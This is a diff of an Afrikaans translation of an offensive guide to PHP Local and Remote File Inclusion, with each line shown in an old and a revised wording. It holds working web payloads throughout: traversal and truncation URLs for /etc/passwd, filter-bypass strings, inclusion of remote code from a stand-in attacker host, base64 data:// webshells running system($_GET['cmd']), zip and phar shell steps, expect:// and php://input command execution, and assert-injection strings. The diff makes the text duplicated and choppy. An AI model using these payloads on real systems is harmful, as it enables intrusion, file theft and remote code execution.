Die onderstaande voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -127,15 +127,15 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||||||
```
|
```
|
||||||
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||||
|
|
||||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) gekombineer met addisionele dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
|
- **Gebruik van dot-segmante en bykomende karakters**: Traversal sequences (`../`) in kombinasie met ekstra dot-segmante en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
|
||||||
- **Determining the Required Number of Traversals**: Deur proef-en-fout kan 'n mens die presiese aantal `../` reekse vind wat nodig is om na die wortelgids en dan na `/etc/passwd` te navigeer, en seker te maak dat enige aangehegte stringe (soos `.php`) geneutraliseer word terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
|
- **Bepaling van die vereiste aantal traversals**: Deur proef-en-fout kan mens die presiese aantal `../`-reekse vind wat nodig is om na die root-gids te navigeer en dan na `/etc/passwd`, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
|
||||||
- **Starting with a Fake Directory**: Dit is algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om te voldoen aan die vereistes van die bediener se padparsingslogika.
|
- **Begin met 'n nie-bestaande gids**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om die vereistes van die bediener se padparseringslogika te vervul.
|
||||||
|
|
||||||
Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se padparsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die doeltreffendste metode te vind.
|
Wanneer padtronkeringstegnieke gebruik word, is dit van kardinale belang om die bediener se padparseringsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n verskillende benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
|
||||||
|
|
||||||
**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
|
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
|
||||||
|
|
||||||
### **Filter bypass tricks**
|
### **Filter-omseilingstrieke**
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=....//....//etc/passwd
|
http://example.com/index.php?page=....//....//etc/passwd
|
||||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
|
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE kry:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
Indien om een of ander rede **`allow_url_include`** **On** is, maar PHP toegang tot eksterne webblaaie **filtreer**, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te kry:
|
As daar om een of ander rede **`allow_url_include`** **On** is, maar PHP toegang tot eksterne webblaaie **filtreer**, [volgens hierdie post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP code te decode en RCE te kry:
|
||||||
```
|
```
|
||||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> In die vorige kode is die finale `+.txt` bygevoeg omdat die attacker 'n string nodig gehad het wat op `.txt` eindig, sodat die string daarmee eindig en na die b64 decode sal daardie deel net gemors teruggee en die werklike PHP-kode ingesluit (en gevolglik uitgevoer) word.
|
> In die vorige kode is die finale `+.txt` bygevoeg omdat die attacker 'n string nodig gehad het wat op `.txt` eindig, so die string daarmee eindig en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en dus uitgevoer).
|
||||||
|
|
||||||
Nog 'n voorbeeld **wat nie die `php://` protocol gebruik nie** sou wees:
|
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
|
||||||
```
|
```
|
||||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||||
```
|
```
|
||||||
## Python Wortelelement
|
## Python Wortel-element
|
||||||
|
|
||||||
In Python, in 'n kode soos hierdie:
|
In Python, in 'n kode soos hierdie:
|
||||||
```python
|
```python
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
```
|
```
|
||||||
As die gebruiker 'n **absolute path** na **`file_name`** deurgee, word die **vorige pad net verwyder**:
|
As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
|
||||||
```python
|
```python
|
||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
```
|
```
|
||||||
Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||||
|
|
||||||
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en samevoeging gaan voort vanaf die absolute padkomponent.
|
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die samevoeging voort vanaf die absolute pad-komponent.
|
||||||
|
|
||||||
## Java: Lys van gidse
|
## Java Lys van gidse
|
||||||
|
|
||||||
Dit lyk asof as jy 'n Path Traversal in Java het en jy **vir 'n gids vra** in plaas van 'n lêer, 'n **lys van die gids teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
|
Dit lyk of, as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik).
|
||||||
|
|
||||||
## Top 25 parameters
|
## Top 25 parameters
|
||||||
|
|
||||||
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI)-kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
Hier is 'n lys van die Top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -211,7 +211,7 @@ Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir local file in
|
|||||||
?mod={payload}
|
?mod={payload}
|
||||||
?conf={payload}
|
?conf={payload}
|
||||||
```
|
```
|
||||||
## LFI / RFI gebruik PHP wrappers & protokolle
|
## LFI / RFI met PHP-wrappers & protokolle
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
@ -222,27 +222,27 @@ PHP filters laat toe om basiese **wysigingsoperasies op die data** uit te voer v
|
|||||||
- `string.toupper`
|
- `string.toupper`
|
||||||
- `string.tolower`
|
- `string.tolower`
|
||||||
- `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
|
- `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
|
||||||
- Nota dat hierdie filter uit moderne weergawes van PHP verdwyn het
|
- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
|
||||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||||
- `convert.base64-encode`
|
- `convert.base64-encode`
|
||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : Skakel na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle enkodings** wat ondersteun word te kry, hardloop in die konsole: `iconv -l`
|
- `convert.iconv.*` : Transformeer na 'n ander enkoding (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle enkodings** wat ondersteun word te kry, voer in die konsole: `iconv -l`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Deur misbruik te maak van die `convert.iconv.*` omskakelingsfilter kan jy **willekeurige teks genereer**, wat nuttig kan wees om willekeurige teks te skryf of om 'n funksie soos include te laat verwerk wat willekeurige teks hanteer. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
> Deur misbruik van die `convert.iconv.*` omskakelingsfilter kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of om 'n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting kyk [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfiltreer)
|
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie info wil exfiltrate)
|
||||||
- `zlib.inflate`: De-komprimeer die data
|
- `zlib.inflate`: Dekomprimeer die data
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : Verouderd
|
- `mcrypt.*` : Verouderd
|
||||||
- `mdecrypt.*` : Verouderd
|
- `mdecrypt.*` : Verouderd
|
||||||
- Ander Filters
|
- Ander Filters
|
||||||
- As jy in PHP `var_dump(stream_get_filters());` hardloop kan jy 'n paar **onverwagte filters** vind:
|
- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: keer HTTP chunked enkodering om
|
- `dechunk`: draai HTTP chunked encoding om
|
||||||
- `convert.*`
|
- `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Die deel "php://filter" is hoofdletterongevoelig
|
> Die gedeelte "php://filter" is nie sensitief vir hoof- en kleinletters nie
|
||||||
|
|
||||||
### Gebruik php filters as oracle om arbitrêre lêers te lees
|
### Gebruik van php filters as oracle om arbitrêre lêers te lees
|
||||||
|
|
||||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitvoer deur die bediener teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering sal gooi.
|
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die bediener teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
|
||||||
|
|
||||||
In die oorspronklike pos vind jy 'n gedetailleerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
|
In die oorspronklike post vind jy 'n gedetaileerde uitleg van die tegniek, maar hier is 'n vinnige samevatting:
|
||||||
|
|
||||||
- Gebruik die codec **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en sodoende die grootte van die string eksponensieel te laat toeneem.
|
- Use the codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat staan en sodoende die stringgrootte eksponensieel te laat toeneem.
|
||||||
- Dit sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word** dat php 'n **fout** sal veroorsaak.
|
- Dit sal gebruik word om 'n **teks te genereer wat so groot word wanneer die aanvanklike letter korrek geraai is** dat php 'n **error** sal veroorsaak.
|
||||||
- Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste karakter hex is.
|
- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
|
||||||
- Dit, gekombineer met die vorige een (en ander filters afhangend van die geraadde letter), maak dit moontlik om 'n letter aan die begin van die teks te raai deur te kyk wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. As dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php laat fout.
|
- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal die php error veroorsaak.
|
||||||
- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om byvoorbeeld te ontdek of die eerste letter 'n `a` is omdat as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g die letter nie meer 'n hexadecimal karakter is nie, dus verwyder dechunk dit nie en die php-fout word geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
|
- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
|
||||||
- Deur ander transformasies aan die begin te gebruik, soos **rot13**, is dit moontlik om ander karakters te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
|
- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif).
|
||||||
- Wanneer die aanvanklike karakter 'n getal is, moet dit base64 gekodeer word en moet jy die eerste 2 letters leak om die getal te ontsluit.
|
- Wanneer die aanvanklike char 'n getal is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die getal te bepaal.
|
||||||
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur order memory filters te gebruik soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
|
||||||
- En om verder data te kan bekom, is die idee om **2 bytes rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit **met die volgende 2 bytes te pivot**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste deel bereik om te leak.
|
- En om verder data te kan verkry, is die idee om **2 bytes van junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toe te pas **UCS-4LE** om dit te **pivot with the next 2 bytes**, en d**verwyder die data tot by die rommeldata** (this will remove the first 2 bytes of the initial text). Gaan voort hiermee totdat jy by die gewenste bit kom om te leak.
|
||||||
|
|
||||||
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
In die post is daar ook 'n hulpmiddel gelek om dit outomaties uit te voer: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
Hierdie wrapper maak dit moontlik om toegang tot file descriptors te kry wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te exfiltrate:
|
Hierdie wrapper maak dit moontlik om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die exfiltrate inhoud van geopende lêers te bekom:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
Jy kan ook **php://stdin, php://stdout en php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 en 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
|
Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
|
||||||
|
|
||||||
### zip:// en rar://
|
### zip:// and rar://
|
||||||
|
|
||||||
Laai 'n Zip- of Rar-lêer op met 'n PHPShell binne en kry toegang daartoe.\
|
Laai 'n Zip- of Rar-lêer met 'n PHPShell daarin op en kry toegang daartoe.\
|
||||||
Om die rar protocol te kan misbruik moet dit **spesifiek geaktiveer** wees.
|
Om die rar-protokol te kan misbruik, moet dit **spesifiek geaktiveer** word.
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
Let wel dat hierdie protokol beperk word deur die php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
|
Neem kennis dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
|
||||||
|
|
||||||
### expect://
|
### expect://
|
||||||
|
|
||||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
|||||||
```
|
```
|
||||||
### input://
|
### input://
|
||||||
|
|
||||||
Spesifiseer jou payload in die POST-parameters:
|
Spesifiseer jou payload in die POST parameters:
|
||||||
```bash
|
```bash
|
||||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||||
```
|
```
|
||||||
### phar://
|
### phar://
|
||||||
|
|
||||||
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai gebruik. Die PHP-codefragment hieronder demonstreer die skep van 'n `.phar`-lêer:
|
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik om lêers te laai. Die onderstaande PHP-kodefragment demonstreer die skep van 'n `.phar`-lêer:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('test.phar');
|
||||||
@ -358,9 +358,9 @@ Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
|
|||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik misbruik kan word om Local File Inclusion (LFI) kwesbaarhede te eksploiteer.
|
By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.
|
||||||
|
|
||||||
In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer, via funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan daar 'n poging aangewend word om 'n deserialization-kwesbaarheid te exploiteer. Hierdie kwesbaarheid is geassosieer met die lees van lêers met die `phar` protocol.
|
In gevalle waar die LFI slegs lêerlees uitvoer sonder die uitvoering van die PHP-kode daarin, deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan 'n eksploitasie van 'n deserialization vulnerability probeer word. Hierdie kwesbaarheid is geassosieer met die lees van lêers deur die `phar`-protokol.
|
||||||
|
|
||||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||||
|
|
||||||
@ -373,76 +373,76 @@ phar-deserialization.md
|
|||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te kry. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
Baie vinnige opsomming: 'n **3 byte overflow** in die PHP-heap is misbruik om die **ketting van vrye chunks** van 'n spesifieke grootte te verander sodat dit moontlik was om **write anything in any address**, dus is 'n hook bygevoeg om **`system`** aan te roep.\
|
||||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
|
||||||
|
|
||||||
### More protocols
|
### Meer protokolle
|
||||||
|
|
||||||
Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n file inclusion attack)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit in 'n file inclusion attack nuttig kan wees nie)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URLs
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URLs
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat by 'n patroon pas (Dit lewer niks drukbaar terug nie, so nie regtig nuttig hier nie)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (Nie nuttig om arbitrêre lêers te lees nie)
|
||||||
|
|
||||||
## LFI via PHP's 'assert'
|
## LFI via PHP se 'assert'
|
||||||
|
|
||||||
Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer die 'assert' funksie betrokke is, wat kode binne strings kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos ".." bevat, ondersoek word maar nie behoorlik gesanitiseer is nie.
|
Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat directory traversal-karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
||||||
|
|
||||||
For example, PHP code might be designed to prevent directory traversal like so:
|
Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal te voorkom soos volg:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Alhoewel dit bedoel is om traversal te stop, skep dit per ongeluk 'n vektor vir code injection. Om dit te misbruik om file contents te lees, kan 'n attacker gebruik:
|
Alhoewel dit daarop gemik is om traversal te voorkom, skep dit onbedoeld 'n vektor vir code injection. Om dit uit te buit om lêerinhoud te lees, kan 'n aanvaller die volgende gebruik:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
Net so, om ewekansige stelselopdragte uit te voer, kan 'n mens gebruik:
|
Net so, om ewekansige stelselopdragte uit te voer, kan iemand gebruik:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
Dit is belangrik om hierdie payloads te **URL-encode**.
|
Dit is belangrik om **URL-encode these payloads**.
|
||||||
|
|
||||||
## PHP Blind Path Traversal
|
## PHP Blind Path Traversal
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Hierdie tegniek is relevant in gevalle waar jy die **file path** van 'n **PHP function** beheer wat 'n **file** sal **access**, maar jy sal nie die inhoud van die file sien nie (soos 'n eenvoudige oproep na **`file()`**) en die inhoud word nie getoon nie.
|
> Hierdie tegniek is relevant in gevalle waar jy die **file path** van 'n **PHP function** beheer wat 'n **access a file** sal doen maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
|
||||||
|
|
||||||
